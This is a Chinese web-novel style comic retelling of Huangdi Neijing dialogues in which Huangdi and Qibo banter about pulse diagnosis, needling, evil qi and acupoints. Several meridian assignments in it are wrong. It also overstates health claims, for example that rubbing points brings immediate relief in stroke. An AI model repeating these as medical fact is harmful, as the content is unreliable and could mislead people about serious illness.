岐伯一听，哈哈大笑：“陛下，您这可是抬举我了。不过，学针灸这事儿，还真得下功夫。咱们人体的穴位啊，那可是多得跟天上的星星似的，每个穴位都有它的作用，你得记住它们的位置，还得知道它们能干啥，这样才能对症下药，手到病除。” 黄帝接着又问岐伯：“岐伯啊，我这心里头老有个疑问，就是想不通针灸时如何判断病人的病情，你能不能给我说道说道？” 岐伯一听，嘿，这可是个大问题，得好好给黄帝解释清楚。于是他清了清嗓子，慢悠悠地说：“皇上啊，这事儿说来话长，咱们先从望诊开始吧。您看一个人，首先得睹其色，瞧瞧他的脸色咋样，红润还是苍白，泛黄还是发黑，这都能看出点问题来。再察其目，眼睛是心灵的窗户嘛，看看眼神是否明亮，有没有血丝，瞳孔大小变化，这些都能反映一个人的身体状况。” 黄帝一听，点了点头，心想：“这望诊还挺有意思。” 岐伯接着说：“然后呢，知其散复，就是观察他的精神状态，是萎靡不振还是精神抖擞。一其形，就是看看他整体的体型，是胖是瘦，肌肉是松软还是紧实，这也能反映他的体质和健康状况。最后听其动静，就是听听他的声音，是洪亮还是沙哑，呼吸是否顺畅，这些都能给出一些线索。” 黄帝听了，频频点头，觉得岐伯说得在理。 岐伯又接着说：“说到针灸，那还得会调尺寸、小大、缓急、滑涩。这尺寸啊，可 不是量衣服的尺寸，而是指脉象的深浅宽窄，就像咱们现在说的寸口脉，分寸、关、尺三部，能反映出不同的脏腑病变。小大呢，就是脉象的强弱粗细，缓急是脉搏跳动的快慢，滑涩则是脉象的流畅度。通过这些，咱们就能大致判断出病人得了什么病。” 黄帝一听，眼睛一亮，说：“原来如此，这脉象还真是一门学问啊！” 岐伯笑了笑，接着说：“还有啊，知其邪正，就是要分清是虚邪还是正邪之风。虚邪呢，就是那些不正当的、会伤害人体的邪气，比如寒风、暑热、湿气啥的。正邪呢，就是自然界正常的气候变化，人体能适应的那种。咱们针灸啊，就是要帮人体把这些虚邪给赶出去，恢复正气。” 黄帝听了，连声称赞，说：“岐伯啊，你可真是个宝藏男孩，啥都知道！” 岐伯一听，差点没笑出声来，心想：“这黄帝还挺逗的。” 接下来，岐伯决定给黄帝讲讲穴位的事儿，这可是针灸的关键所在。 “皇上啊，要说穴位啊，那可真不少，咱们就先挑几个重要的说说吧。比如这个合谷穴，就在咱们手背上，第一、二掌骨之间，靠近第二掌骨桡侧的中点。您试试看，用力按一按，是不是有点疼？这个穴位啊，是阳明大肠经的原穴，能治疗头痛、牙痛、感冒啥的，简直就是咱们的‘止痛神器’！” 黄帝一听，立马伸出手来，照着岐伯说的位置一按，哎哟喂，还真有点疼。不过一想到这穴位能治病，心里就乐开了花。 岐伯接着说：“还有这个足三里穴，在咱们小腿前外侧，犊鼻穴下3寸，胫骨前嵴外1横指处。这个穴位啊，可是咱们身体的‘大补丸’，能健脾和胃、增强体质、提高免疫力。您要是觉得食欲不振、消化不良啥的，针灸这个穴位，保管您胃口大开，吃嘛嘛香！” 黄帝一听，眼睛瞪得圆圆的，说：“这穴位也太神奇了吧！那以后我得好好保养这些穴位才行。” 岐伯点了点头，说：“没错，皇上。还有啊，像内关穴、太冲穴、三阴交这些穴位，也都是咱们针灸时常用的。内关穴在手腕上，能治疗心悸、胸闷啥的；太冲穴在脚上，能疏肝解郁、缓解压力；三阴交在小腿上，能调和气血、美容养颜。这些穴位啊，都是咱们身体的‘宝藏’，得好好利用起来。” 黄帝又向岐伯发问：“岐伯啊，我这心里头有个大大的问号，就是关于针灸这事儿，咱们到底是怎么操作的？还有啊，那个调气，听着就高深莫测，您能给我讲讲不？” 岐伯一听，哈哈一笑，捋了捋他那飘逸的长胡子，说道：“黄帝啊黄帝，你这问题问得好，咱们这就来一场针灸与调气的奇幻之旅！” “首先啊，针灸这事儿，得讲究个团队协作。想象一下，你右手是那英勇的骑士，负责推着针往前冲；左手呢，就是那智慧的向导，稳稳地握着针，引导它进出人体的奇妙世界。这就叫‘右主推之，左持而御之者’，说的就是这持针出入的微妙技巧。”岐伯边说边比划，仿佛真的在指挥一场战斗。 黄帝听得入迷，连忙点头：“原来如此，那调气又是怎么回事呢？听起来就像是给身体做一场心灵按摩？” 岐伯笑得眼睛眯成了一条缝：“对头，你这比喻挺到位。调气啊，就像是给身体里的气儿们开个大会，让它们和谐共处，该补的补，该泻的泻。气至而去之者，就是说，当那股神奇的气儿被我们引导到位后，该补的地方咱们就给它加点料，该泻的地方呢，就让它痛痛快快地释放出去。这样一来，身体里的气儿们就平衡了，人也就跟着神清气爽了。” 黄帝恍然大悟：“原来如此，这调气还真是门艺术啊！不过，您说这调气在于终始一者，持心也，这话又该怎么理解呢？” 岐伯拍了拍黄帝的肩膀，语重心长地说：“黄帝啊，这调气的关键，就在于一个‘恒’字。无论是开始还是结束，都要保持一颗平静而专注的心。就像炖一锅好汤，火候要稳，心情也要稳。只有这样，才能真正做到气调而和，达到针灸的最佳效果。所以啊，‘持心’二字，乃是针灸调气的精髓所在。” 黄帝听得连连点头，眼里闪烁着求知的光芒：“那节之交三百六十五会者，络脉之渗灌诸节者也，这又是什么意思呢？” 岐伯哈哈一笑，说道：“这话说的是咱们人体啊，就像个大自然的奇妙网络。全身的关节，就像是一个个小小的交通枢纽，而那三百六十五个交会点，就是络脉们向这些关节输送能量的站点。想象一下，这些络脉就像是勤劳的信使，不停地将气血、营养输送到身体的每一个角落，让咱们的身体保持活 力满满。” 黄帝听得津津有味，忍不住插话道：“这么说来，针灸就像是给这些络脉信使们加油打气的过程了？” 岐伯大笑：“正是如此！针灸啊，就像是给身体这个复杂的网络系统做一次深度保养，让每一个关节、每一条络脉都能畅通无阻，让身体这台大机器运转得更加顺畅。” 说到这里，岐伯突然话锋一转，神秘兮兮地说：“黄帝啊，你知道吗？针灸这门学问啊，可不仅仅是一门技术，它还蕴含着深厚的哲学思想呢！” 黄帝好奇地问：“哦？愿闻其详。” 岐伯清了清嗓子，继续说道：“你看啊，针灸讲究的是阴阳平衡、五行相生相克。这就像咱们生活中的道理一样，什么事情都不能太过，要适中。身体里的气儿们也是这样，多了少了都不行，得刚刚好。而且啊，针灸还告诉我们，万物之间都是相互联系的，一个地方的病变，往往能反映出全身的问题。这就像咱们的网络世界一样，一个小小的漏洞，就可能引发一场大危机。” 黄帝听得连连点头，感叹道：“真是听君一席话，胜读十年书啊！岐伯，您这一番讲解，让我对针灸有了全新的认识。” 岐伯笑着摆摆手：“黄帝啊，咱们这都是互相学习。记住啊，针灸这门学问啊，得用心去学、去感受。只有这样，才能真正掌握它的精髓，成为一位真正的针灸大师。” 黄帝又向岐伯发难，提出了一个超级深奥的问题：“岐伯啊，你说这五脏之气要是在内或者在外绝了，到底是个啥情况啊？我这心里头啊，就跟揣了个十万个为什么似的，非得弄个明白不可！” 岐伯一听，心里暗笑：“陛下，你这是又想考验我呢！”但他面上却是一本正经，开始给黄帝讲解起来：“陛下啊，你问得好啊！咱们先说说五脏之气已绝于内这事儿吧。你想啊，如果一个人五脏六腑里的气都已经快没了，那他的脉象啊，就像是个罢工的工人，根本不到岗。这时候呢，你要是个糊涂医生，还傻乎乎地去扎他外面的穴位，特别是那些阳经上的大穴，想帮他提提阳气。结果呢，阳气一来，里面本就奄奄一息的气儿，直接被榨干了，这人就彻底歇菜了。所以啊，这时候的病人啊，他要是死了，那就是因为没气儿可喘了，整个人跟雕塑似的，一动不动，安静得吓人。” 黄帝一听，眉头紧锁：“这听起来可真是吓人！那要是五脏之气绝于外呢？” 岐伯嘿嘿一笑：“陛下啊，这事儿更逗了！你想啊，如果一个人的五脏之气在外面已经跑光了，脉象呢，也是软绵绵的，跟没吃饭似的。这时候呢，你要是个愣头青医生，还一个劲儿地往他手脚末梢的穴位上扎针，想帮他补补阴气。结果呢，阴气一来，阳气一看，‘哎呀妈呀，家里来强盗了！’吓得赶紧往回跑。这一跑可好，阳气和阴气就在体内打起来了，这人啊，也就一命呜呼了。所以啊，这时候的病人要是死了，那就是因为阴气太旺了，整个人跟打了鸡血似的，躁动不安。” 黄帝一听，哈哈大笑：“岐伯啊，你这解释得可真是通俗易懂，我这心里头的疑惑啊，算是彻底解开了！” 邪气藏府病形篇第四（一） 话说有一天，咱们的黄帝，闲着没事儿干，就去找他的老朋友岐伯聊天。黄帝一见面就抛出了个大问题：“岐伯啊，你说这邪气是怎么欺负咱们老百姓的呢？”岐伯一听，嘿，这话题有意思，于是慢悠悠地回答：“黄帝兄啊，这邪气欺负人，那可是有讲究的，它喜欢挑高的地方下手。” 黄帝一听，有点懵：“啊？这邪气还挑高矮？它怎么跟选房子似的，还讲究楼层呢？”岐伯笑了笑，解释道：“可不是嘛！这邪气啊，它要是来了，一般就先攻上半身，咱们可以把身体想象成一座楼，上半身就是高楼层，邪气就爱往这儿窜；下半身呢，就像是地下室，湿气就爱呆那儿。” 黄帝一听，恍然大悟：“哦~原来是这样，那邪气欺负人，还有没有什么规律呢？”岐伯摇了摇头，说：“这邪气啊，可没那么老实，它欺负人可没规律可循，就像你女朋友的心情，你永远猜不透。不过呢，咱们还是可以给它分分类。” “怎么分？”黄帝好奇地问。岐伯接着说：“这邪气要是欺负到咱们身体的阴面呢，它就爱往腑里跑，就像小偷进了豪宅，专挑好地儿藏；要是欺负到阳面呢，它就爱在经络里溜达，就像游客在景区里闲逛，哪儿热闹往哪儿钻。” 黄帝一听，乐了：“岐伯啊，你这比喻打得，简直了！那咱们怎么防着这些邪气呢？”岐伯捋了捋胡子，说：“防邪气啊，那可得讲究点策略。你得先把自己身体锻炼得棒棒的，就像城堡加固了城墙，小偷就进不来了。然后呢，还得注意生活规律，饮食健康，别给邪气可乘之机。” 黄帝一听，连连点头：“对对对，你说得太对了！那要是邪气已经进来了，咱们怎么办？”岐伯笑了笑，说：“那就得赶紧想办法把它赶出去啊！就像家里进了老鼠，你得赶紧找猫来抓，或者拿扫帚赶出去。” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻真是绝了！那赶邪气，咱们是不是也得有点工具啥的？”岐伯点了点头，说：“那当然啦！咱们中医啊，有针灸、拔罐、刮痧这些法宝，就像对付邪气的十八般武艺，看准时机，出手就赢！” 黄帝一听，更高兴了：“哈哈，那咱们中医真是厉害！那岐伯啊，你再给我讲讲，这邪气到底是啥玩意儿？它为啥就爱欺负人呢？”岐伯叹了口气，说：“这邪气啊，其实就是些不好的东西，它们无处不在，就像空气中的尘埃。咱们身体要是弱了，或者生活习惯不好，邪气就会趁机而入，给咱们找麻烦。” 黄帝一听，若有所思：“哦~原来如此！那咱们以后可得注意了，别让邪气有机可乘！”岐伯笑了笑，说：“对对对，咱们得时刻警惕着，别让邪气占了便宜。就像打游戏，你得时刻盯着屏幕，别让敌人偷袭了你。” 说到这里，黄帝和岐伯都笑了起来。他们知道，虽然邪气无处不在，但只要咱们保持身体健康，注意生活规律，邪气就无从下手。就像一座坚固的城堡，无论敌人多么狡猾，都无法攻破它的防线。 不过啊，咱们也别太掉以轻心。毕竟这邪气可是个狡猾的家伙，它总是能找到咱们身体的弱点，然后趁机而入。所以啊，咱们平时还得多锻炼、多休息、多吃健康的食物，让身体变得更强壮、更健康。 黄帝某天心血来潮，对着岐伯发起了一场关于阴阳的“灵魂拷问”。黄帝说：“岐伯啊，你说这阴和阳吧，名字不同，但本质是一家子，就像咱们中医里的阴阳平衡，缺一不可。它们上下相通，经络相连，就像个没有尽头的环，环环相扣，生生不息。可问题来了，这外来的邪气啊，有时候欺负阴，有时候又找阳的麻烦，上上下下，左左右右，完全没个准儿。你说，这是咋回事儿呢？” 岐伯一听，嘿，这问题有意思，于是慢悠悠地回答：“黄帝啊，你有所不知，这人体的阳气聚会之地，大都在脸上呢！你想啊，人要是刚干完活，累出一身汗，或者吃个饭都热得满头大汗，这时候毛孔大开，就像城门大开，邪气这不就趁机而入了吗？ “要是邪气中了脸，那首先遭殃的就是阳明经了。阳明经啊，在咱们脸上那可是‘大佬级别’的，它有两个主要穴位，一个叫迎香，在鼻翼外缘中点旁，鼻唇沟中，你吸吸鼻子，是不是感觉这里在动？这个穴位能通鼻窍、散风热，感冒鼻塞找它就对了！还有一个叫承泣，就在瞳孔直下，眼球与眶下缘之间，你找个人瞪大眼睛看看，是不是能感觉到这里有点凹陷？这个穴位能散风清热、明目止泪，眼睛干涩、迎风流泪的，多揉揉它准没错！ “要是邪气中了脖子后面，那就轮到太阳经倒霉了。太阳经上有个穴位叫风池，在头额后面大筋的两旁与耳垂平 行处，你揉揉看，是不是感觉特别放松？这个穴位能祛风解毒、通利官窍，头痛、眩晕、中风、感冒啥的，找它就对了！ “要是邪气中了脸颊，那少阳经可就得哭了。少阳经上有个穴位叫颊车，在下颌角前上方约一横指（中指），当咀嚼时咬肌隆起，按之凹陷处，你张大嘴‘啊’一声，是不是能摸到那里鼓鼓的？这个穴位能祛风清热、开关通络，口歪眼斜、牙关紧闭啥的，揉揉它就能缓解不少！ “还有啊，要是邪气中了胸口、背部或者两胁，那也是直接攻击经络。比如说，胸口有个穴位叫膻中，在两乳头连线的中点，你拍拍胸口，是不是感觉这里暖暖的？这个穴位能理气活血、宽胸利膈，胸闷、心悸、咳嗽啥的，多拍拍这里，心情都舒畅了不少！背部有个穴位叫肺俞，在第三胸椎棘突旁开1.5寸，你找个人帮你敲敲背，是不是感觉特别舒服？这个穴位能宣肺理气、疏风解表，咳嗽、气喘、感冒啥的，敲敲它，症状都能减轻不少！两胁的话，有个穴位叫章门，在腋中线，第一浮肋前端，屈肘合腋时正当肘尖尽处，你侧侧身，是不是能摸到肋骨边缘有个软软的凹陷？这个穴位能疏肝健脾、理气散结，胁痛、腹胀啥的，多按按这里，立马就舒服多了！ “所以啊，黄帝，这邪气中人的位置，可不是随便挑的，它得看人体的虚实、经络的走向，还有邪气的性质。就像咱们平时走路，喜欢走宽敞平坦的大道，邪气也一样，它也喜欢挑软柿子捏，专门找那些虚弱的、开放的地方下手！” 黄帝一听，恍然大悟：“哦~原来如此！那这么说来，咱们平时得多锻炼身体，增强体质，让邪气无机可乘啊！” 岐伯点点头：“没错！而且啊，还得注意饮食起居，别让自己太累，也别让自己太热或太冷，保持身体内外环境的平衡，这样邪气就更难找到下手的机会了！” 黄帝听了，满意地点点头：“岐伯啊，你总是能给我带来这么多宝贵的知识，真是咱们中医界的‘宝藏男孩’啊！” 岐伯一听，差点没笑喷出来：“黄帝啊，你这夸奖方式真是别具一格啊！不过话说回来，能为咱们中医事业贡献一份力量，我也是倍感荣幸啊！” 说完，两人相视一笑，继续沉浸在中医的奥秘之中。 说到这中医的穴位啊，那可真是个神奇的存在！它们就像咱们身体里的“小开关”，轻轻一按，就能调动起全身的气血运行，解决各种小毛病。不过啊，这穴位按摩也得讲究个方法，不能乱按一通，否则可能会适得其反哦！ 就拿迎香穴来说吧，虽然它能通鼻窍、散风热，但你要是按得太猛了，可能会把鼻子按得红红的，甚至还有点疼呢！所以啊，按摩的时候得温柔点，就像对待自己的小宝贝一样，轻轻地、缓缓地揉动。 黄帝闲来无事，便拉着岐伯聊起了天。黄帝问：“岐伯啊，你说如果一个人阴经中风了，会是个啥情况呢？”岐伯一听，嘿，这问题有意思，便慢悠悠地答道：“要是阴经中风啊，那一般得从胳膊和大腿开始说起。” 黄帝一听，眉头一皱：“胳膊大腿？这咋还跟阴经中风扯上关系了呢？”岐伯笑了笑，解释道：“你看啊，这胳膊和大腿上的阴经皮薄肉嫩，跟剥了壳的鸡蛋似的，风一吹就容易受伤，而且专挑阴经下手。” 黄帝一听，恍然大悟：“原来如此，那这些容易受伤的阴经穴位都在哪儿呢？咱们得好好聊聊，万一以后谁中风了，咱们也好对症下药嘛！” 岐伯一听，立马来了精神：“对对对，咱们就从手臂上的阴经穴位说起吧！首先啊，有个穴位叫尺泽，就在咱们胳膊肘窝那儿，你一屈肘就能摸到一个大筋，大筋的外侧就是尺泽穴了。这穴位啊，可是肺经的合穴，能治疗咳嗽、气喘、咽喉肿痛这些毛病。要是阴经中风了，揉揉这个穴位，准能舒服不少。” 黄帝一听，眼睛一亮：“嘿，这穴位还挺管用的嘛！那大腿上的阴经穴位呢？”岐伯摸了摸下巴，继续说道：“大腿上啊，有个血海穴，就在膝盖骨内侧的上角那儿，往上两寸就是血海了。这穴位啊，是脾经的穴位，能治疗月经不调、痛经、荨麻疹这些毛病。你说要是女性朋友们阴经中风了，揉揉这个穴位，是不是既能治病又能美容啊？” 黄帝一听，哈哈大笑：“岐伯啊，你这穴位说得比美容广告还诱人嘛！不过话说回来，除了这些穴位，还有没有其他容易中风的阴经穴位呢？” 岐伯点了点头：“当然有啦！手上还有个曲池穴，就在肘横纹外侧端那儿，屈肘的时候，肘横纹外侧的尽头就是曲池了。这穴位啊，是大肠经的合穴，能治疗高血压、肩 周炎、肘关节疼痛这些毛病。你说要是有人中风了，胳膊抬不起来，揉揉这个穴位，是不是就能立马见效啊？” 黄帝一听，拍手叫好：“妙哉妙哉！那腿上呢？腿上还有啥容易中风的阴经穴位？”岐伯摸了摸腿，继续说道：“腿上啊，有个足三里穴，就在小腿外侧那儿，犊鼻穴下三寸，胫骨前嵴外一横指的地方。这穴位啊，可是胃经的合穴，能治疗胃痛、腹胀、便秘、腹泻这些毛病。你说要是有人中风了，肠胃不好，揉揉这个穴位，是不是就能立马通气儿啊？” 黄帝一听，笑得前仰后合：“岐伯啊，你这穴位说得跟神医似的，不过话说回来，这些穴位真的能治疗中风吗？”岐伯摆了摆手：“那当然啦！中风啊，其实就是气血不通嘛！这些穴位啊，都是经络上的要穴，揉揉它们啊，就能疏通经络，调和气血，让中风的症状得到缓解。不过啊，这只是辅助手段，真正的治疗还得靠针灸、中药这些综合手段才行。” 黄帝一听，点了点头：“原来如此啊！那岐伯啊，你这穴位说得这么神乎其神，有没有什么讲究啊？比如啥时候揉最好啊？揉多久才有效啊？”岐伯一听，嘿嘿一笑：“这你可就问对人啦！揉穴位啊，最好是在早上或者晚上，这时候气血运行比较平稳。揉的时候啊，力度要适中，别太轻也别太重，揉到穴位有酸胀感就行。至于揉多久嘛，一般揉个三五分钟就行啦！不过啊，这也不是绝对的，还得看个人的体质和病情轻重来定。” 黄帝一听，满意地点了点头：“不错不错！岐伯啊，你这穴位讲解得既专业又幽默，真是让我大开眼界啊！以后啊，谁要是中风了，咱们就按照你说的这些方法来治疗，肯定能手到病除！” 岐伯一听，也笑了起来：“哈哈！黄帝啊，你这夸奖我可不敢当啊！咱们中医啊，博大精深，我这也只是皮毛而已。不过啊，只要大家都能了解这些穴位的作用和按摩方法，就能在日常生活中自我保健啦！你说是不是啊？” 邪气藏府病形篇第四（二） 黄帝闲来无事，就拉着岐伯开始探讨起了人体健康的奥秘。黄帝一脸严肃地问：“岐伯啊，你说如果一个人被风给吹伤了，那是不是就会伤到他的五脏六腑呢？” 岐伯一听，心里暗笑黄帝这大佬也有犯迷糊的时候，但还是一本正经地回答道：“哎呀，我的大帝啊，这事儿可没那么简单哦！人体被风吹到，可不一定就会直接伤到内脏呢！” 黄帝一听，眉头一皱：“哦？此话怎讲？” 岐伯清了清嗓子，开始他的“岐式科普”：“你看啊，这风邪要是跑进了咱们的阴经里，那情况就有点微妙了。咱们身体的阴经啊，就像是守护内脏的勇士，要是邪气一来，这些勇士们就会立刻打起十二分精神，把内脏保护得严严实实的。所以啊，这邪气想进去捣乱，门儿都没有！它只能灰溜溜地跑到咱们的腑部去溜达了。” 黄帝一听，恍然大悟：“原来如此啊！那要是风邪跑进了阳经呢？” 岐伯笑了笑：“大帝啊，这阳经就像是咱们身体的‘高速公路’，邪气要是进来了，那就只能在这条路上溜达溜达，想进去内脏？没门儿！除非它想被咱们身体的免疫系统给‘查水表’！” 黄帝一听，哈哈大笑：“岐伯啊，你这比喻真是绝了！这么说来，咱们的身体就像是一座坚不可摧的城堡，邪气要是想进来捣乱，那就得看咱们这些‘勇士’答不答应了！” 岐伯点头：“正是如此啊！大帝，咱们中医讲究的就是‘治未病’，就是要提前把这些邪气给挡在门外，不让它们有机会捣乱。所以啊，咱们平时就要注意调养身体，增强免疫力，让这些‘勇士’们更加强大！” 黄帝闲来无事，就拉着岐伯聊起了天。黄帝问：“岐伯啊，你说这外界的邪气是怎么伤害到咱们人体的五脏六腑的呢？”岐伯一听，嘿，这可是个展示自己医学才华的好机会，于是清了清嗓子，开始了一段生动有趣的讲解。 岐伯说：“陛下啊，这事儿说起来可就有意思了。你想啊，咱们人要是整天愁眉苦脸的，心里头装满了愁事儿、忧事儿，还有那些让人心惊胆战的事儿，这心脏可就得遭殃了。为啥呢？因为心脏它是个‘情感大师’，专门负责咱们的情绪管理。你老这么折磨它，它能不伤心嘛！这不，时间一长，心脏功能就下降了，各种心脏病也就找上门来了。” 黄帝一听，点了点头，心想：“这心脏还真是个‘玻璃心’啊！” 岐伯接着说：“再来说说肺吧。肺可是个‘娇气包’，最怕冷了。你要是穿着单薄，在寒风中瑟瑟发抖，再喝点冰凉的水，嘿，这肺可就受不了啦！为啥呢？因为肺喜欢温暖湿润的环境，你这一冷一寒的，它就得开始‘抗议’了。于是呢，肺气就开始逆着往上走，什么咳嗽、气喘的毛病就都出来了。所以啊，咱们平时可得注意保暖，别让肺受了委屈。” 黄帝听了，哈哈大笑：“这肺还真是个‘怕冷鬼’呢！” 岐伯也不在意黄帝的调侃，继续往下说：“还有啊，要是你不小心摔了一跤，或者被人打了一顿，那些瘀血就会留在身体里头。这些瘀血可都不是善茬儿，它们会在你身体里到处捣乱。特别是到了肝脏那儿，肝脏可是个‘血库’，瘀血一来，肝脏就得加班加点地处理。时间一长，肝脏也受不了啦，各种肝病也就跟着来了。所以啊，咱们平时可得小心点儿，别让自己成了‘瘀血制造机’。” 黄帝一听，乐了：“这肝脏还真是个‘勤劳的小蜜蜂’呢，不过也得注意休息啊！” 岐伯笑了笑，接着说：“再来说说脾吧。脾可是个‘吃货’，特别喜欢吃好喝好的。但你要是吃了什么不干净的东西，或者喝了酒之后吹冷风，这脾可就得遭殃了。为啥呢？因为脾喜欢温暖干燥的环境，你这一冷一热的，它就得开始‘罢工’了。于是呢，各种消化问题就找上门来了，什么腹胀、腹泻的，可够你受的。所以啊，咱们平时可得注意饮食卫生，别让脾吃了亏。” 黄帝一听，眼睛一亮：“这脾还真是个‘挑剔的小吃货’呢！” 岐伯最后说：“最后来说说肾吧。肾可是个‘大力士’，负责咱们身体的各种力气活儿。但你要是过度用力，比如举重啊、搬东西啊，或者房事过度，再或者出了汗之后立刻洗冷水澡，这肾可就得受伤了。为啥呢？因为肾喜欢温暖的环境，还有充足的血液供应。你这一折腾，它就得开始‘喊累’了。于是呢，各种肾虚的症状就出现了，什么腰膝酸软、头晕耳鸣的，可不好受啊！所以啊，咱们平时可得悠着点儿，别让肾成了‘过劳死’的牺牲品。” 黄帝一听，哈哈大笑：“这肾还真是个‘任劳任怨的老黄牛’呢！” 说完这些，岐伯看着黄帝笑得前仰后合的样子，心里也暗暗得意。心想：“看来我这套‘脏器受伤大揭秘’还挺受欢迎的嘛！” 黄帝突发奇想，对着身边的岐伯大夫问道：“岐伯啊，你说这五脏六腑里要是进了风，那会是咋样一番景象呢？” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 岐伯一听，心里暗想：“嘿，这黄帝陛下又开始琢磨些深奥的问题了。”但岐伯是谁？那可是中医界的扛把子，理论一套一套的。只见他微微一笑，缓缓道来：“陛下啊，这事儿说起来简单也复杂，复杂也简单。简单来说呢，就是得阴阳俩哥们儿都点头，那邪风啊，才能堂而皇之地溜进咱们的五脏六腑里头。” 黄帝一听，眉头一挑：“哦？此言何解？” 岐伯清了清嗓子，开始了他的“风中奇缘”讲解大会：“您看哈，咱们人体啊，就像个大自然的小缩影，里面有阴阳两股力量在不停地打架又合作，维持着平衡。阴呢，就像是夜晚的凉爽；阳呢，就像是白天的温暖。正常情况下，它们俩是井水不犯河水的，和谐共处。但要是哪天，外界的风邪（咱们可以理解为那些不安分的、爱捣蛋的小妖精）瞅准机会，同时撩拨到了阴阳两位大佬，嘿，那就热闹了！” “这风邪啊，它可机灵了，专挑软柿子捏。比如说，你最近熬夜多了，阳气不足，或者吃了太多冷饮，阴气过剩，这时候，身体就像开了扇没锁的大门，风邪一看：‘哟呵，机会来了！’嗖的一下就钻进去了。这一钻可好，五脏六腑可就遭殃了。” 黄帝听得津津有味，点头表示赞同：“善哉，原来如此。那风邪进了五脏，会有什么样的后果呢？” 岐伯摸了摸下巴上的胡须，继续他的爆笑讲解：“哈哈，陛下啊，这风邪可不是去五脏六腑里开派对的。它一进去，就开始捣乱。比如说，它要是跑到心脏里，那可就不得了了，心脏可是咱们身体的发动机啊，风邪一去，发动机就开始抖动，心跳加速，心慌意乱的感觉就来了。要是跑到肺里，那就更逗了，肺是管呼吸的，风邪一去，就像给肺里装了个电风扇，呼呼地吹，咳嗽、气喘就找上门了。” “还有啊，要是风邪溜达到了肝里，哎呀，那可真是‘肝风内动’了，人会变得脾气暴躁，像吃了火药一样，一点就着。跑到脾里呢，脾是管消化的，风邪一去，消化功能就紊乱了，吃啥拉啥，营养吸收不了，人自然就瘦了，成了‘风吹就倒’的小弱鸡。至于肾嘛，肾是藏精气的，风邪要是敢去骚扰，嘿嘿，那可就真的是‘肾虚公子’上线了，腰膝酸软，记忆力下降，啥都来点儿。” 黄帝听完，笑得前仰后合：“岐伯啊，你这讲解真是生动形象，让人一听就懂，受益匪浅啊！” 岐伯谦逊地拱了拱手：“哪里哪里，陛下过奖了。其实啊，咱们中医的理论虽然深奥，但归根结底，都是为了让大家能更好地理解自己的身体，学会如何保养。就像咱们平时说的，‘预防胜于治疗’，只要咱们平时注意调整饮食，适量运动，保持好心情，那些风邪啊，想进来捣乱都没门儿！” 黄帝捋了捋胡子，一脸认真地问岐伯：“岐伯啊，你说咱们这脑袋瓜子、脸蛋儿，还有这一身骨肉皮囊，都是骨头连着筋，血液在里头跑，气也在里头窜，对吧？你看这天一冷，地上都能裂出大口子，河里都冻上了大冰块。有时候突然降温，咱们的手啊脚啊就变得懒洋洋的，冻得跟冰棍似的。可奇怪的是，咱们的脸蛋儿，嘿，愣是不穿衣裳也不戴帽子，咋就这么抗冻呢？你说这事儿邪门不邪门？” 岐伯一听，心里暗笑黄帝这问题问得有趣，但他可是专业的，得用专业的术语来解释。于是，他清了清嗓子，慢悠悠地说：“皇上啊，这事儿其实不难理解。咱们人体里头啊，有十二条主要的经脉，还有三百六十五条细小的络脉，这些经脉络脉就像一条条高速公路，把咱们的血和气都往脸上送。你想啊，血和气那可是咱们身体的能量源泉，有了它们，咱们才能活蹦乱跳的不是？” 黄帝一听，眼睛一亮，心想这岐伯又要开始他的医学演讲了，赶紧竖起耳朵听。 岐伯接着说：“这血气里头啊，最精纯最阳刚的那一部分，它会往上跑到眼睛里，让咱们能看得见东西，这就是咱们的‘睛’嘛。还有啊，有一部分血气它会拐个弯儿，跑到耳朵里去，让咱们能听得见声音，这就是咱们的‘听’啦。再来说说鼻子，鼻子可是咱们的嗅觉器官，有一部分血气它会上升到鼻子里头，让咱们能闻得到各种气味儿，这就是咱们的‘臭’（在古代，‘臭’就是气味的意思，可不是咱们现在说的臭味儿哦）。还有啊，胃里头那些不太干净的气，它会从胃里头跑出来，经过嘴唇和舌头，让咱们能尝得出酸甜苦辣，这就是咱们的‘味’啦。” 黄帝一听，连连点头，心想这岐伯解释得还真够详细的。不过，他还没忘了自己的问题呢，赶紧追问：“岐伯啊，你说了这么多，可这跟咱们的脸蛋儿不怕冷有啥关系呢？” 岐伯笑了笑，说：“皇上别急嘛，我这不正要说呢。你看啊，这些血气里头除了血和气，还有津液呢。这些津液啊，它们都会往上熏到咱们的脸上。你想啊，脸上有了这么多血气津液的滋润，那皮肤能不厚实吗？那肌肉能不结实吗？所以啊，就算是天气再冷，咱们的脸蛋儿也能扛得住，不容易被冻坏。” 黄帝一听，恍然大悟，原来自己的脸蛋儿不怕冷，全靠这些经脉络脉和血气津液的功劳啊。他高兴地拍了拍岐伯的肩膀，说：“岐伯啊，你这解释得真是通俗易懂，让我明白了不少道理。看来咱们这中医的学问还真是博大精深啊！” 岐伯一听黄帝夸自己，心里也是美滋滋的，赶紧谦虚地说：“皇上过奖了，这都是咱们老祖宗留下来的智慧，我只是借花献佛罢了。” 说到这儿，咱们不妨再来聊聊这中医经络的事儿。中医啊，那可是咱们老祖宗留下来的瑰宝，经络学说更是其中的精华。经络啊，就像咱们身体里的一条条隐形的河流，它们把气血输送到全身各处，让咱们的身体能够正常运转。 就拿这脸蛋儿来说吧，为啥它不怕冷呢？其实啊，这都是经络的功劳。你想啊，经络就像一条条高速公路，把气血都往脸上送。脸上有了气血的滋润，那皮肤能不光滑吗？那肌肉能不饱满吗？所以啊，咱们的脸蛋儿才能一年四季都水嫩嫩的，就算是冬天也不怕被冻坏。 不过啊，这经络也不是白干的，它们也需要咱们好好养护。要是咱们不注意身体，经常熬夜、吃垃圾食品啥的，那经络就会堵塞，气血就会运行不畅。这样一来啊，咱们的脸上就会长斑、长痘、长皱纹啥的，那可就不美观了。所以啊，咱们要想保持青春美丽啊，就得好好养护经络，让气血畅通无阻才行。 邪气藏府病形篇第四（三） 黄帝突发奇想，对着身边的岐伯，抛出了一个问题：“岐伯啊，你说这外界的邪气要是溜进咱们身体里，它会怎么玩转呢？会不会跟淘气包似的，到处搞破坏啊？” 岐伯一听，嘿，这问题有意思！于是，他捋了捋长胡子，慢悠悠地说：“黄帝大人啊，这邪气要是进来，那表现可多了去了。比如说那‘虚邪’，这家伙就像是冬日里的一阵冷风，嗖的一下钻进你的身体，让你浑身打个激灵，感觉像是被冰水浇了个透心凉，连带着身体都不自觉地哆嗦起来。这就好比你在大冬天里，穿着短袖短裤出门，那‘虚邪’就像是调皮捣蛋的熊孩子，拿着冰块往你身上贴，冻得你直打颤。” 